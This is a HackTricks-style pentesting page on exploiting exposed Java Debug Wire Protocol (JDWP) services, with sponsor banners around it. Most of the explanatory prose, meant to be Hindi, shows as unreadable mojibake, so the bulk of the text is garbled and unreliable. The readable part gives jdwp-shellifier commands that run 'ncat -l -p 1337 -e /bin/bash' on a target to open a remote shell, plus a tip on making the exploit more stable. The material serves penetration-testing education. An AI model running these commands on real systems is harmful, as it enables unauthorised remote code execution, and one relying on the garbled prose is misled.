# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**рдХрдордЬреЛрд░реА рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рддреБрд░рдВрдд рдЙрдкрд▓рдмреНрдз рд╕реЗрдЯрдЕрдк**ред 20+ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд╣реАрдВ рд╕реЗ рднреА рдПрдХ рдкреВрд░реНрдг рдкреЗрдВрдЯреЗрд╕реНрдЯ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдкреБрдирдГ рдЦреЛрдЬ рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рддрдХ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдкреЗрдВрдЯреЗрд╕реНрдЯрд░реНрд╕ рдХрд╛ рд╕реНрдерд╛рди рдирд╣реАрдВ рд▓реЗрддреЗ - рд╣рдо рдХрд╕реНрдЯрдо рдЙрдкрдХрд░рдг, рдкрд╣рдЪрд╛рди рдФрд░ рд╢реЛрд╖рдг рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ, рд╢реЗрд▓ рдкреЙрдк рдХрд░рдиреЗ рдФрд░ рдордЬрд╝реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рд╡рд╛рдкрд╕ рдорд┐рд▓ рд╕рдХреЗред
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Exploiting
JDWP рд╢реЛрд╖рдг **рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА** рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ **рдкреЛрд░реНрдЯ 8000** рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрдп рдкреЛрд░реНрдЯ рднреА рд╕рдВрднрд╡ рд╣реИрдВред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрдиреЗрдХреНрд╢рди рд▓рдХреНрд╖реНрдп рдкреЛрд░реНрдЯ рдкрд░ "JDWP-Handshake" рднреЗрдЬрдХрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ JDWP рд╕реЗрд╡рд╛ рд╕рдХреНрд░рд┐рдп рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИред рдпрд╣ рд╣реИрдВрдбрд╢реЗрдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред
рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, Java рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ "jdwk" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдЦреЛрдЬ рдПрдХ рд╕рдХреНрд░рд┐рдп JDWP рд╕рддреНрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред
рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЙрдкрдХрд░рдг [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier) рд╣реИред рдЖрдк рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## More details
**рдпрд╣ [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред** рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рджреЗрдЦреЗрдВред
1. **JDWP Overview**:
- рдпрд╣ рдПрдХ рдкреИрдХреЗрдЯ-рдЖрдзрд╛рд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЬреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕рдордХрд╛рд▓рд┐рдХ рд╣реИред
- рдЗрд╕рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рдХрдореА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╢рддреНрд░реБрддрд╛рдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рдордиреЗ рдХрдордЬреЛрд░ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
2. **JDWP Handshake**:
- рд╕рдВрдЪрд╛рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ 14-рдЪрд░ ASCII рд╕реНрдЯреНрд░рд┐рдВрдЧ тАЬJDWP-HandshakeтАЭ рдбрд┐рдмрдЧрд░ (рдХреНрд▓рд╛рдЗрдВрдЯ) рдФрд░ рдбрд┐рдмрдЧреА (рд╕рд░реНрд╡рд░) рдХреЗ рдмреАрдЪ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
3. **JDWP Communication**:
- рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдПрдХ рд╕рд░рд▓ рд╕рдВрд░рдЪрдирд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ Length, Id, Flag, рдФрд░ CommandSet рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВред
- CommandSet рдорд╛рди 0x40 рд╕реЗ 0x80 рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред
4. **Exploitation**:
- JDWP рдордирдорд╛рдиреЗ рд╡рд░реНрдЧреЛрдВ рдФрд░ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ рд▓реЛрдб рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
- рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдВрдЪ рдЪрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╢реЛрд╖рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Java Runtime рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд▓рд╛рдирд╛, рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░рдирд╛, рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред
5. **Real-Life Exploitation**:
- рд╕рдВрднрд╛рд╡рд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд╡рдЬреВрдж, JDWP рд╕реЗрд╡рд╛рдПрдБ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЦреЛрдЬреА рдФрд░ рд╢реЛрд╖рд┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ ShodanHQ рдФрд░ GitHub рдЬреИрд╕реЗ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдкрд░ рдЦреЛрдЬреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
- рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рднрд┐рдиреНрди JDK рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо-рд╕реНрд╡рддрдВрддреНрд░ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE) рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
6. **Security Implications**:
- рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреБрд▓реЗ JDWP рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдирд┐рдпрдорд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореАрдХреНрд╖рд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреА рд╣реИ, рдЙрддреНрдкрд╛рджрди рдореЗрдВ рдбрд┐рдмрдЧ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдмрдВрдж рдХрд░рдирд╛, рдФрд░ рдЙрдЪрд┐рдд рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиред
### **References:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}